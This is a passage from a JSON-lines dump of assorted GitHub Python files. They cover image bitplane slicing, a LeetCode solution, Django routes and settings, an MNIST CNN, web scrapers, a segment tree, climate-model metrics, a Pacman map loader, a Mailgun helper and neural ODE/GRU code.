matplotlib.pyplot as plt\r\n\r\nimg = cv2.imread('flower.jfif', 0) \r\nfig=plt.figure(figsize=(8, 8))\r\n\r\nfor k in range(0, 8):\r\n plane = np.full((img.shape[0], img.shape[1]), 2 ** k, np.uint8)\r\n res = cv2.bitwise_and(plane, img)\r\n x = res * 255\r\n ax = fig.add_subplot(3,3,k+2)\r\n ax.title.set_text(\"Plane \" + str(k+1))\r\n plt.imshow(x, cmap = \"gist_gray\")\r\n\r\nax1 = fig.add_subplot(3,3,1)\r\nax1.title.set_text(\"Input Image\")\r\nplt.imshow(img, cmap = \"gist_gray\")\r\n \r\nplt.show()\r\ncv2.waitKey()\r\ncv2.destroyAllWindows()\r\n","repo_name":"sampadap03/Digital-Signal-Processing","sub_path":"Digtal-Image-Processing/Bitplane Slicing.py","file_name":"Bitplane Slicing.py","file_ext":"py","file_size_in_byte":661,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10939033437","text":"class Solution:\n def findJudge(self, n: int, trust: List[List[int]]) -> int:\n #n+1 dikarenakan n dimulai dari 1 bukan dari 0\n #tc adalah trust count yaitu tempat perhitungan trust\n tc = [0] * (n+1)\n #jika n adalah 2 maka tc adalah [0, 0, 0]\n #jika trust adalah [[1,2]]\n for x in trust:\n tc[x[0]] -=1\n #maka tc pada index 1 akan di berikan -1 sehingga tc menjadi [0, -1, 0]. index 1 didapat dari x[0]\n tc[x[1]] +=1\n #disini tc dengan index 2 akan di tambahkan menjadi 1 sehingga tc [0, -1, 1]. index 2 didapat dari x[1]\n #range dimulai dari 1 dikarenakan tc dimulai dari index 1\n for i in range (1,n+1):\n #n-1 dikarenakan jika ada judge, judge pasti adalah orang yang tidak percaya orang lain sehingga seharusnya judge adalah orang yang tidak punya koneksi\n if tc[i] == n-1:\n return i\n #jika dari semua n mempunyai koneksi maka -1 \n return -1\n","repo_name":"galuhardiansyah/test","sub_path":"judge.py","file_name":"judge.py","file_ext":"py","file_size_in_byte":999,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"44663251216","text":"from django.urls import path\n#from .views import UserAPIView\nfrom . import views\n\nurlpatterns = [\n path('',views.login, name=\"display\"),\n path('signin/',views.signin,name=\"signin\"),\n path('fetch/',views.getUser, name=\"getu\"),\n path('submit/',views.submitUser, name=\"submitb\"),\n]\n","repo_name":"Archit9394/React_app1","sub_path":"display/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16600235102","text":"\"\"\"mnist data를 이용해 model 구현해보기 (시간이 너무 오래걸려서 output 확인은 안 해봄)\"\"\"\r\n\r\nimport tensorflow as tf\r\nfrom tensorflow.keras import datasets, layers, models\r\n\r\n(train_images, train_labels), (test_images, test_labels) = datasets.mnist.load_data()\r\ntrain_images = train_images.reshape((60000, 28, 28, 1))\r\ntest_images = test_images.reshape((10000, 28, 28, 1))\r\n# 픽셀 값을 0~1 사이로 정규화합니다.\r\ntrain_images, test_images = train_images / 255.0, test_images / 255.0\r\n\r\nmodel = models.Sequential()\r\nmodel.add(layers.Conv2D(32, (3, 3), activation='relu', input_shape=(28, 28, 1),padding='same',strides=1))\r\nmodel.add(layers.MaxPooling2D((2, 2)))\r\nmodel.add(layers.Conv2D(64, (3, 3), activation='relu',padding='same',strides=1))\r\nmodel.add(layers.MaxPooling2D((2, 2)))\r\nmodel.add(layers.Flatten())\r\nmodel.add(layers.Dense(10, activation='softmax'))\r\nmodel.summary()\r\nmodel.compile(optimizer='adam',loss='sparse_categorical_crossentropy',metrics=['accuracy'])\r\nmodel.fit(train_images, train_labels, epochs=5)\r\n#모델 빌드\r\ntest_loss, test_acc = model.evaluate(test_images, test_labels, verbose=2)\r\nprint(test_acc)\r\n","repo_name":"dlwlsdn201/2020CapstonDesign_OOTD-Project","sub_path":"JH_CNN_MNIST.py","file_name":"JH_CNN_MNIST.py","file_ext":"py","file_size_in_byte":1169,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"14634227083","text":"# coding=utf-8\nimport os\n\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.sqlite3',\n 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),\n }\n}\n\nREDIS_CONF = {\n \"host\": \"127.0.0.1\",\n \"port\": \"6380\"\n}\n\n\nDEBUG = True\n\nALLOWED_HOSTS = [\"*\"]\n\nDATA_DIR = f\"{BASE_DIR}/data\"\n","repo_name":"SardarDawar/judge","sub_path":"oj/dev_settings.py","file_name":"dev_settings.py","file_ext":"py","file_size_in_byte":370,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"72608391734","text":"#!/usr/bin/env python3\n\nfrom inspect import currentframe\nimport re\n\n\n\nclass Scraping_utilities:\n\n @staticmethod\n def __parse_name(string):\n try:\n return string.split(\"(\")[0].strip()\n except Exception as ex:\n print(\"Error on line no: {}\".format( ex))\n\n @staticmethod\n def __extract_digits(string):\n try:\n return int(re.search(r'\\d+', string).group(0))\n except Exception as ex:\n print(\"Error on line no.: {}\".format( ex))\n","repo_name":"HamedMinaeizaeim/twitter_scraper_without_API","sub_path":"src/twitter_scraper_without_api/scraping_utilities.py","file_name":"scraping_utilities.py","file_ext":"py","file_size_in_byte":456,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"21"} +{"seq_id":"35056529622","text":"from scrapy import Request\nfrom scrapy import Spider\nfrom re import findall\n\n\nclass KavakspiderSpider(Spider):\n name = 'KavakSpider'\n allowed_domains = ['www.kavak.com']\n\n def start_requests(self):\n urls = [\n 'https://www.kavak.com/br/carros-usados']\n\n for x in range(2, 157):\n l = f'https://www.kavak.com/br/page-{x}/carros-usados'\n urls.append(l)\n\n for url in urls:\n yield Request(\n url,\n callback=self.parse\n )\n\n def parse(self, response, **kwargs):\n\n model = response.css(\n 'div[class=\"card-body\"] h2::text').getall()\n details = response.css(\n 'div[class=\"card-body\"] p::text').getall()\n years = [''.join(findall(r'(\\w+)', x)[0])\n for x in details if findall('•', x)]\n distance = [''.join(findall(r'(\\w+)', x)[1:3])\n for x in details if findall('•', x)]\n state = [' '.join(findall(r'(\\w+)', x)[4:])\n for x in details if findall('•', x)]\n prize = response.css(\n 'div[class=\"payment-tax-wrapper\"] span::text').getall()\n\n for modelo, ano, preco, kil, estado in zip(model, years, prize, distance, state):\n yield {\n \"Modelo\": modelo,\n \"Ano\": ano,\n \"Preço\": preco,\n \"KM\": kil,\n \"Estado\": estado\n }\n","repo_name":"gustavocoiimbra/scrapy-site-kavak","sub_path":"Kavak/spiders/KavakSpider.py","file_name":"KavakSpider.py","file_ext":"py","file_size_in_byte":1451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16935522084","text":"import string\nfrom stemming.porter2 import stem\nfrom nltk.corpus import stopwords\nimport DependencyParser\n\n\ndef tokenize(get_queries):\n def wrapper(*args, **kwargs):\n queries = get_queries(*args, **kwargs)\n cleaned = cleanUp(queries)\n avoid = list()\n for k, v in cleaned.iteritems():\n # cleaned[k] = v.split(\" \")\n cleaned[k] = preprocess_query(v.split(\" \"), avoid)\n return cleaned\n return wrapper\n\n\ndef cleanUp(queries):\n for k, v in queries.iteritems():\n punctuations = set(string.punctuation)\n v_without_puncts = \"\"\n for ch in v:\n if ch in punctuations:\n v_without_puncts += ' '\n else:\n v_without_puncts += ch\n queries[k] = v_without_puncts.strip()\n return queries\n\n\ndef preprocess_query(tokens, avoid):\n stop_words = stopwords.words('english')\n stemmed = list()\n for token in tokens:\n if token not in stop_words + avoid:\n # stemmed.append(token.lower())\n stemmed.append(stem(token.lower()))\n return set(stemmed)\n\n\ndef dependency_parse(get_queries):\n def wrapper(*args, **kwargs):\n queries = get_queries(*args, **kwargs)\n cleaned = cleanUp(queries)\n\n for k, v in cleaned.iteritems():\n avoid = DependencyParser.parse(v)\n avoid.append('Document')\n cleaned[k] = preprocess_query(v.split(\" \"), avoid)\n\n return cleaned\n return wrapper\n","repo_name":"manthan787/IR","sub_path":"HW1/Query/Decorators.py","file_name":"Decorators.py","file_ext":"py","file_size_in_byte":1489,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28497967990","text":"import torch\nimport numpy as np\nfrom scipy.stats import pearsonr\n\n\ndef compute_scores(posterior_dist, test_data):\n \"\"\"Computes prediction scores\n Args:\n posterior_dist (torch.distributions.Distribution): (time,)\n test_data (ScenarioDataset)\n Returns:\n type: Description of returned object.\n \"\"\"\n # Extract posterior mean prediction\n posterior_mean = posterior_dist.mean.cpu()\n\n # Compute metrics over all predictions\n scores_deterministic = compute_deterministic_metrics(posterior_mean, test_data.tas)\n scores_probabilistic = compute_probabilistic_metrics(posterior_dist, test_data.tas)\n\n # Encapsulate scores into output dictionnary\n output = {**scores_deterministic, **scores_probabilistic}\n return output\n\n\ndef compute_deterministic_metrics(prediction, groundtruth):\n \"\"\"Compute deterministic metrics between posterior mean and groundtruth\n\n Args:\n prediction (torch.Tensor): (time,)\n groundtruth (torch.Tensor): (time,)\n\n Returns:\n type: dict[float]\n \"\"\"\n # Compute raw distances metrics\n difference = prediction.sub(groundtruth)\n mean_bias = difference.mean()\n rmse = torch.square(difference).mean().sqrt()\n mae = torch.abs(difference).mean()\n\n # Compute spearman correlation\n corr = spearman_correlation(prediction.flatten(), groundtruth.flatten())\n\n # Encapsulate results in output dictionnary\n output = {'mb': mean_bias.item(),\n 'rmse': rmse.item(),\n 'mae': mae.item(),\n 'corr': corr}\n return output\n\n\ndef compute_probabilistic_metrics(predicted_dist, groundtruth):\n \"\"\"Computes probabilistic metrics between posterior distribution and groundtruth\n\n Args:\n posterior_dist (torch.distributions.Distribution): (time,)\n groundtruth (torch.Tensor): (time,)\n\n Returns:\n type: dict[float]\n \"\"\"\n # Create normal distribution vector\n pointwise_predicted_dict = torch.distributions.Normal(loc=predicted_dist.mean, scale=predicted_dist.stddev)\n\n # Compute average LL of groundtruth\n ll = pointwise_predicted_dict.log_prob(groundtruth).mean()\n\n # Compute 95% calibration score\n lb, ub = pointwise_predicted_dict.icdf(torch.tensor(0.025)), pointwise_predicted_dict.icdf(torch.tensor(0.975))\n mask = (groundtruth >= lb) & (groundtruth <= ub)\n calib95 = mask.float().mean()\n\n # Compute integral calibration index\n confidence_region_sizes = np.arange(0.05, 1.0, 0.05)\n calibs = []\n for size in confidence_region_sizes:\n q_lb = (1 - float(size)) / 2\n q_ub = 1 - q_lb\n lb, ub = pointwise_predicted_dict.icdf(torch.tensor(q_lb)), pointwise_predicted_dict.icdf(torch.tensor(q_ub))\n mask = (groundtruth >= lb) & (groundtruth <= ub)\n calibs.append(mask.float().mean().item())\n ICI = np.abs(np.asarray(calibs) - confidence_region_sizes).mean()\n\n # Compute CRPS\n mu, sigma = predicted_dist.mean, predicted_dist.stddev\n y = (groundtruth - mu) / sigma\n norm = torch.distributions.Normal(0, 1)\n crps = torch.mean(sigma * (y * (2 * norm.cdf(y) - 1) + 2 * norm.log_prob(y).exp() - 1 / np.sqrt(np.pi)))\n\n # Encapsulate results in output dictionnary\n output = {'ll': ll.item(),\n 'calib95': calib95.item(),\n 'CRPS': crps.item(),\n 'ICI': ICI.item()}\n return output\n\n\ndef spearman_correlation(x, y):\n \"\"\"Computes Spearman Correlation between x and y\n Args:\n x (torch.Tensor)\n y (torch.Tensor)\n Returns:\n type: torch.Tensor\n \"\"\"\n x_std = (x - x.mean()) / x.std()\n y_std = (y - y.mean()) / y.std()\n corr = float(pearsonr(x_std.numpy(), y_std.numpy())[0])\n return corr\n","repo_name":"shahineb/FaIRGP","sub_path":"src/evaluation/metrics.py","file_name":"metrics.py","file_ext":"py","file_size_in_byte":3715,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"12069554175","text":"import pygame\r\nimport math\r\nfrom pygame.locals import *\r\nWIDTH = 1280\r\nHEIGHT = 720\r\nCELL_SIZE = 30\r\n\r\nWHITE = (255, 255, 255)\r\nBLACK = (0, 0, 0)\r\nGREEN = (0, 255, 0)\r\nRED = (255, 0, 0)\r\nBLUE = (0, 0, 255)\r\nORANGE = (255, 165, 0)\r\nGRAY = (129, 133, 137)\r\n\r\ndef read_map(filepath):\r\n with open(filepath, 'r') as file:\r\n n, m = map(int, file.readline().strip().split(\" \"))\r\n pac_map = []\r\n for _ in range(n):\r\n row = [int(x) for x in file.readline().strip().split(\" \")]\r\n pac_map.append(row)\r\n pac_pos = tuple(map(int, file.readline().strip().split(\" \")))\r\n food = [(i, j) for i in range(len(pac_map)) for j in range(len(pac_map[0])) if pac_map[i][j] == 2]\r\n monster = [(i, j) for i in range(len(pac_map)) for j in range(len(pac_map[0])) if pac_map[i][j] == 3]\r\n wall = [(i, j) for i in range(len(pac_map)) for j in range(len(pac_map[0])) if pac_map[i][j] == 1]\r\n return [pac_map, pac_pos, food, monster, wall]\r\n\r\nmap_dict = {'Level1':[read_map('Levels/level1/map1.txt'),read_map('Levels/level1/map2.txt'),read_map('Levels/level1/map3.txt')],\r\n 'Level2':[read_map('Levels/level2/map1.txt'), read_map('Levels/level2/map2.txt'),read_map('Levels/level1/map3.txt')],\r\n 'Level3':[read_map('Levels/level3/map1.txt'), read_map('Levels/level3/map2.txt'),read_map('Levels/level3/map3.txt')],\r\n 'Level4':[read_map('Levels/level4/map1.txt'),read_map('Levels/level4/map2.txt'),read_map('Levels/level4/map3.txt')]}\r\n\r\n\r\nchange_map_list = [read_map('Levels/level1/map1.txt')[0],read_map('Levels/level1/map2.txt')[0],read_map('Levels/level1/map3.txt')[0]]\r\nvictory_bg = pygame.transform.scale(pygame.image.load(\"images/victory.png\"),(WIDTH,HEIGHT))\r\ndef get_map_pos_y(map,CELL_SIZE):\r\n return WIDTH // 2 - (CELL_SIZE * len(map[0]) // 2)\r\ndef get_map_pos_x(map,CELL_SIZE):\r\n return HEIGHT // 2 - (CELL_SIZE * len(map) // 2)\r\n\r\ndef get_font(size): # Returns Press-Start-2P in the desired size\r\n return pygame.font.Font(\"font/font.ttf\", size)\r\n\r\ndef victory_state(screen):\r\n screen.blit(victory_bg, (0, 0))","repo_name":"nghia3anp3/csAI-21TNT1-pacman","sub_path":"NH/Variables.py","file_name":"Variables.py","file_ext":"py","file_size_in_byte":2099,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"31038312624","text":"#!/Users/amod/venv/bin/python\n# name : Amod\n# date : 1 april 2020\nimport argparse\n\n\n# Function definition\ndef print_me():\n print(\"Test print\")\n\n\ndef add(a, b):\n print(a+b)\n\n\ndef sub(x, y):\n '''doc string\n this method is subtraction\n it takes argument x, y\n '''\n c = x - y\n print(c)\n\n\ndef multiply(a, b):\n print(int(a)*int(b))\n\n\ndef divide(a, b):\n print(int(a)/int(b))\n\n\n\n\n# main Program\n#a = input(\"Enter an integer value : \")\n#b = input(\"Enter an integer value : \")\n#op = input(\"Enter either * or / or + or -\")\n\nparser = argparse.ArgumentParser(description=\"Math Calculation\")\nparser.add_argument('a', type=int, help=\"Enter only integers\")\nparser.add_argument('b', type=int, help=\"Enter only integers\")\nparser.add_argument('op', type=str, help=\"Enter only symbols * or / or + or --\")\nargs = parser.parse_args()\n# print(args)\na = args.a\nb = args.b\nop = args.op\n\n\nif op == \"*\":\n multiply(a, b)\nelif op == \"/\":\n divide(a, b)\nelif op == \"+\":\n add(a, b)\nelif op == \"-\":\n sub(int(a), b)\nelse:\n print(\"Incorrect input\")\n","repo_name":"AmodGawade/Python_programs","sub_path":"Programs/Functions.py","file_name":"Functions.py","file_ext":"py","file_size_in_byte":1059,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"19348403744","text":"#https://www.it-swarm.dev/es/python/como-ejecutar-una-funcion-de-forma-asincrona-cada-60-segundos-en-python/968384697/\n\n#https://www.generacodice.it/es/articolo/348349/How-to-execute-a-function-asynchronously-every-60-seconds-in-Python\n\nimport threading\nimport time\nglobal j\nj=0\n\ndef miaa():\n h=23\n print(h)\n\ndef f():\n global j\n j += 1\n print(\"hello world {}\".format(j))\n threading.Timer(3, f).start()\n\n #while(True):\n\n # time.sleep(3)\n # hola=input('Ingrese los datos:')\n\nif __name__ == '__main__':\n f() \n miaa() \n time.sleep(20)\n","repo_name":"epm1989/C7test","sub_path":"snippet_personales/pryevaasync.py","file_name":"pryevaasync.py","file_ext":"py","file_size_in_byte":575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"74651268211","text":"import math\r\n\r\nclass SegmentTreeNode:\r\n def __init__(self, v=0):\r\n self.sum = v\r\n def merge(self, left, right):\r\n if left is not None and right is not None:\r\n self.sum = left.sum + right.sum\r\n elif left is None and right is None:\r\n self.sum = 0\r\n elif left is None:\r\n self.sum = right.sum\r\n else:\r\n self.sum = left.sum\r\n\r\nclass SegmentTree:\r\n def __init__(self, a):\r\n n = len(a)\r\n power = math.ceil(math.log(n, 2))\r\n total = 2 ** (power + 1)\r\n self.__tree = [None] * int(total)\r\n self.__leaf_length = int(total/2)-1\r\n self.__build(1, 0, self.__leaf_length, a)\r\n\r\n def __build(self, node, l, r, a):\r\n if l == r:\r\n self.__tree[node] = SegmentTreeNode()\r\n try:\r\n self.__tree[node].sum = a[l]\r\n except IndexError:\r\n self.__tree[node].sum = 0\r\n return\r\n leftchild = 2 * node\r\n rightchild = leftchild + 1\r\n mid = (l + r) // 2\r\n self.__build(leftchild, l, mid, a)\r\n self.__build(rightchild, mid + 1, r, a)\r\n self.__tree[node] = SegmentTreeNode()\r\n l = self.__tree[leftchild]\r\n r = self.__tree[rightchild]\r\n self.__tree[node].merge(l, r)\r\n\r\n def __query(self, node, l, r, i, j):\r\n if l >= i and r <= j:\r\n return self.__tree[node]\r\n elif j < l or i > r:\r\n return None\r\n else:\r\n leftchild = 2 * node\r\n rightchild = leftchild + 1\r\n mid = (l + r) // 2\r\n l = self.__query(leftchild, l, mid, i, j)\r\n r = self.__query(rightchild, mid + 1, r, i, j)\r\n if l is not None and r is not None:\r\n return SegmentTreeNode(l.sum+r.sum)\r\n elif l is None and r is None:\r\n return SegmentTreeNode(0)\r\n elif l is None:\r\n return SegmentTreeNode(r.sum)\r\n else:\r\n return SegmentTreeNode(l.sum)\r\n\r\n def query(self, i, j): \r\n return self.__query(1, 0, self.__leaf_length, i, j)\r\n\r\nclass MaxSegmentTreeNode:\r\n def __init__(self, v=[]):\r\n self.max = v\r\n def merge(self, left, right, k):\r\n if left is not None and right is not None:\r\n self.max = sorted(left.max + right.max)[-k:]\r\n elif left is None and right is None:\r\n self.max = []\r\n elif left is None:\r\n self.max = right.max\r\n else:\r\n self.max = left.max\r\n\r\nclass MaxSegmentTree:\r\n def __init__(self, a, k):\r\n n = len(a)\r\n power = math.ceil(math.log(n, 2))\r\n total = 2 ** (power + 1)\r\n self.__tree = [None] * int(total)\r\n self.__leaf_length = int(total/2)-1\r\n self.__build(1, 0, self.__leaf_length, a, k)\r\n\r\n def __build(self, node, l, r, a, k):\r\n if l == r:\r\n self.__tree[node] = MaxSegmentTreeNode()\r\n try:\r\n self.__tree[node].max = [a[l]]\r\n except IndexError:\r\n self.__tree[node].max = []\r\n return\r\n leftchild = 2 * node\r\n rightchild = leftchild + 1\r\n mid = (l + r) // 2\r\n self.__build(leftchild, l, mid, a, k)\r\n self.__build(rightchild, mid + 1, r, a, k)\r\n self.__tree[node] = MaxSegmentTreeNode()\r\n l = self.__tree[leftchild]\r\n r = self.__tree[rightchild]\r\n self.__tree[node].merge(l, r, k)\r\n\r\n def __query(self, node, l, r, i, j, k):\r\n if l >= i and r <= j:\r\n return self.__tree[node]\r\n elif j < l or i > r:\r\n return None\r\n else:\r\n leftchild = 2 * node\r\n rightchild = leftchild + 1\r\n mid = (l + r) // 2\r\n l = self.__query(leftchild, l, mid, i, j, k)\r\n r = self.__query(rightchild, mid + 1, r, i, j, k)\r\n if l is not None and r is not None:\r\n return MaxSegmentTreeNode(sorted(l.max+r.max)[-k:])\r\n elif l is None and r is None:\r\n return MaxSegmentTreeNode([])\r\n elif l is None:\r\n return MaxSegmentTreeNode(r.max)\r\n else:\r\n return MaxSegmentTreeNode(l.max)\r\n\r\n def query(self, i, j, k): \r\n return self.__query(1, 0, self.__leaf_length, i, j, k)\r\n \r\ndef get_start_index(time_stamp_list, l, r, time_stamp):\r\n \r\n if l==r or time_stamptime_stamp_list[r]:\r\n return -1\r\n mid = (l+r)//2\r\n if time_stamp == time_stamp_list[mid]:\r\n if mid >= 1 and time_stamp_list[mid-1]==time_stamp:\r\n return get_start_index(time_stamp_list, l, mid-1, time_stamp)\r\n else:\r\n return mid\r\n elif time_stamp < time_stamp_list[mid]:\r\n if (mid >=1 and time_stamp>time_stamp_list[mid-1]):\r\n return mid\r\n else:\r\n return get_start_index(time_stamp_list, l, mid-1, time_stamp)\r\n else:\r\n return get_start_index(time_stamp_list, mid+1, r, time_stamp)\r\n\r\ndef get_stop_index(time_stamp_list, l , r, time_stamp):\r\n if l==r or time_stamp>time_stamp_list[r]:\r\n return r\r\n if time_stamp < time_stamp_list[l]:\r\n return -1\r\n mid = (l+r)//2\r\n if time_stamp == time_stamp_list[mid]:\r\n if mid < r and time_stamp_list[mid+1]==time_stamp:\r\n return get_stop_index(time_stamp_list, mid+1, r, time_stamp)\r\n else:\r\n return mid\r\n elif time_stamp > time_stamp_list[mid]:\r\n if mid < r and time_stamp < time_stamp_list[mid+1]:\r\n return mid\r\n else:\r\n return get_stop_index(time_stamp_list, mid+1, r, time_stamp)\r\n else:\r\n return get_stop_index(time_stamp_list, l, mid-1, time_stamp)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nline1 = input().strip(' ').split(' ')\r\nnum_of_input = int(line1[1])\r\n\r\nSiFj = {}\r\nSiFj_timestamp = {}\r\nSiFj_linenum = {}\r\nSiFj_sum = {}\r\nSiFj_sum_segtree = {}\r\nSiFjk_max_segtree = {}\r\n\r\nSiFjFk = {}\r\nSiFjFk_timestamp = {}\r\nSiFjFk_sum = {}\r\nSiFjFk_sum_segtree = {}\r\n\r\n\r\nfor line_iterator in range(num_of_input):\r\n input_line = input().strip(' ').split(' ')\r\n num_of_items = len(input_line)\r\n time_stamp = int(input_line[0])\r\n symbol = input_line[1]\r\n iter = 2\r\n while iter\" % (from_name, from_field),\n \"to\": \"%s <%s>\" % (to_name, to_field),\n \"subject\": subject_field,\n \"text\": strip_tags(body_text)})\n\n def evaluate_timeout(self, response):\n if response.status_code != requests.codes.ok:\n self.timeout = True\n else:\n self.timeout = False\n","repo_name":"mylons/email_service","sub_path":"email_strategy/mailgun.py","file_name":"mailgun.py","file_ext":"py","file_size_in_byte":1055,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"11561566514","text":"import torch\nimport torch.nn as nn\nimport numpy as np\n\nfrom torchdiffeq import odeint_adjoint as odeint\n\n\nclass Swish(nn.Module):\n \"\"\"Swish activation function.\n\n Implements swish activation function: https://arxiv.org/pdf/1710.05941.pdf.\n Claimed by NODE authors to perform well in NODEs.\n \"\"\"\n\n def __init__(self):\n \"\"\"Initialize swish activation function.\"\"\"\n super(Swish, self).__init__()\n\n def forward(self, x, beta=1):\n \"\"\"Compute swish forward pass.\n\n Args:\n x (torch.Tensor): Input data.\n beta (float, optional): Scaling factor. Defaults to 1.\n\n Returns:\n torch.Tensor: Data with swish non-linearity applied.\n \"\"\"\n return x * torch.sigmoid(beta * x)\n\n\nACTIVATION_DICT = {\n 'Swish': Swish,\n 'Tanh': nn.Tanh,\n 'ReLU': nn.ReLU,\n 'Softplus': nn.Softplus\n}\n\n\nclass FCNN(nn.Module):\n \"\"\"Generic fully connected MLP.\n\n Attributes:\n act (nn.Module): Activation function to use between layers.\n fc_in (nn.Module): Linear layer mapping input to hidden state.\n fc_out (nn.Module): Linear layer mapping hidden state to output.\n fc_hidden (nn.ModuleList): Hidden layers.\n \"\"\"\n\n def __init__(self, input_dim, n_hidden, n_layer, act_type, output_dim=None):\n \"\"\"Initialize NN representing ODE function.\n\n Args:\n input_dim (int): Dimension of input data.\n n_hidden (int): Number of hidden units in NN.\n n_layer (int): Number of layers in NN.\n act_type (string): Type of activation to use between layers.\n output_dim (int): Dimension of NN output; defaults to input_dim\n\n Raises:\n ValueError: Thrown when activation function is unknown.\n \"\"\"\n super().__init__()\n\n output_dim = input_dim if output_dim is None else output_dim\n\n self.fc_in = nn.Linear(input_dim, n_hidden)\n self.fc_out = nn.Linear(n_hidden, output_dim)\n\n layers = [nn.Linear(n_hidden, n_hidden) for _ in range(n_layer-1)]\n self.fc_hidden = nn.ModuleList(layers)\n\n try:\n self.act = ACTIVATION_DICT[act_type]()\n except KeyError:\n raise ValueError(\"Unsupported activation function.\")\n\n def forward(self, x):\n \"\"\"Compute forward pass.\n\n Args:\n x (torch.Tensor): Data observations.\n\n Returns:\n torch.Tensor: Output of forward pass.\n \"\"\"\n h = self.fc_in(x)\n h = self.act(h)\n\n for layer in self.fc_hidden:\n h = layer(h)\n h = self.act(h)\n\n out = self.fc_out(h)\n return out\n\n\nclass GRU(nn.Module):\n \"\"\"Gated Recurrent Unit.\n\n Implementation is borrowed from https://github.com/YuliaRubanova/latent_ode\n which in turn uses http://www.wildml.com/2015/10/recurrent-neural-network-\n tutorial-part-4-implementing-a-grulstm-rnn-with-python-and-theano/\n \"\"\"\n\n def __init__(self, input_dim, latent_dim, n_units=100):\n \"\"\"Initialize GRU.\n\n Args:\n input_dim (int): Dimension of input.\n latent_dim (int): Dimension of latent state.\n n_units (int, optional): Number of GRU units.\n \"\"\"\n super(GRU, self).__init__()\n\n self.update_gate = nn.Sequential(\n nn.Linear(latent_dim + input_dim, n_units),\n nn.Tanh(),\n nn.Linear(n_units, latent_dim),\n nn.Sigmoid())\n self.init_network(self.update_gate)\n\n self.reset_gate = nn.Sequential(\n nn.Linear(latent_dim + input_dim, n_units),\n nn.Tanh(),\n nn.Linear(n_units, latent_dim),\n nn.Sigmoid())\n self.init_network(self.reset_gate)\n\n self.new_state_net = nn.Sequential(\n nn.Linear(latent_dim + input_dim, n_units),\n nn.Tanh(),\n nn.Linear(n_units, latent_dim))\n self.init_network(self.new_state_net)\n\n def forward(self, x, h):\n \"\"\"Compute GRU forward pass.\n\n Args:\n x (torch.Tensor): Input date for specific time point.\n h (torch.Tensor): Previous hidden state.\n Returns:\n torch.Tensor: Updated hidden state.\n \"\"\"\n input_concat = torch.cat([h, x], -1)\n\n update_gate = self.update_gate(input_concat)\n reset_gate = self.reset_gate(input_concat)\n\n concat = torch.cat([h * reset_gate, x], -1)\n\n new_state = self.new_state_net(concat)\n\n new_y = (1 - update_gate) * new_state + update_gate * h\n\n return new_y\n\n @staticmethod\n def init_network(net):\n \"\"\"Initialize network using normal distribution.\n\n Args:\n net (nn.Module): NN to initialize.\n \"\"\"\n for module in net.modules():\n if isinstance(module, nn.Linear):\n nn.init.normal_(module.weight, mean=0, std=0.1)\n nn.init.constant_(module.bias, val=0)\n\n\nclass EncoderAR(nn.Module):\n def __init__(self):\n super().__init__()\n\n def forward(self, x, tp, lens, args):\n args = args['aug_args']\n samp_ind = self.generate_samp_mask(x, args['s_min'], args['s_frac'])\n\n hid_arr = self._forward_impl(x, tp, lens, samp_ind, args['samp_prob'])\n out = self.select_by_length(hid_arr, np.array(lens))\n return out\n\n def predict(self, x, tp, lens, args):\n args = args['aug_args']\n samp_ind = self.generate_samp_mask(x, args['s_min'], args['s_frac'])\n\n hid_arr = self._forward_impl(x, tp, lens, samp_ind, 0)\n out = self.select_by_length(hid_arr, np.array(lens))\n return out\n\n def _forward_impl(self, x, tp, lens, samp_ind, samp_prob):\n raise NotImplementedError\n\n @staticmethod\n def generate_samp_mask(x, extrap_min, samp_frac):\n # Generate mask for training.\n # Points after extrapolation region index are all sampled.\n minimum_ind = int(x.size(1) * extrap_min)\n extrap_ind = np.random.randint(minimum_ind, x.size(1))\n\n valid_inds = np.arange(extrap_ind)\n n_inds = int(samp_frac * extrap_ind)\n\n samp_inds = np.sort(np.random.choice(valid_inds, n_inds, replace=False))\n\n return samp_inds\n\n @staticmethod\n def select_by_length(hid_array, lengths):\n # Used to select output from GRU output array.\n mask = torch.zeros(hid_array.size()).bool().to(hid_array.device)\n for i in range(len(mask)):\n mask[i, :lengths[i], :] = 1\n return hid_array.masked_select(mask).view(-1, hid_array.size(2))\n\n @staticmethod\n def get_longest_tp(tps, lens):\n ind = np.argmax(np.array(lens))\n return tps[ind]\n\n\nclass EncoderGRU(EncoderAR):\n def __init__(self, hidden_dim, rec_gru, rec_output, delta_t=True):\n super().__init__()\n\n self.gru = rec_gru\n self.out = rec_output\n self.hidden_dim = hidden_dim\n self.delta_t = delta_t\n\n def _forward_impl(self, x, tp, lens, samp_ind, samp_prob):\n seq_len = max(lens)\n\n if self.delta_t:\n delta = self.generate_delta(tp)\n x = torch.cat([x, delta], dim=2)\n\n h = torch.zeros(x.shape[0], self.hidden_dim).to(x.device)\n h_arr = torch.zeros(x.shape[0], seq_len, h.size(1)).to(x.device)\n\n for i in range(seq_len):\n if i not in samp_ind and np.random.uniform(0, 1) >= samp_prob:\n prev_out = self.out(h.unsqueeze(1)).view(x.shape[0], -1)\n\n if 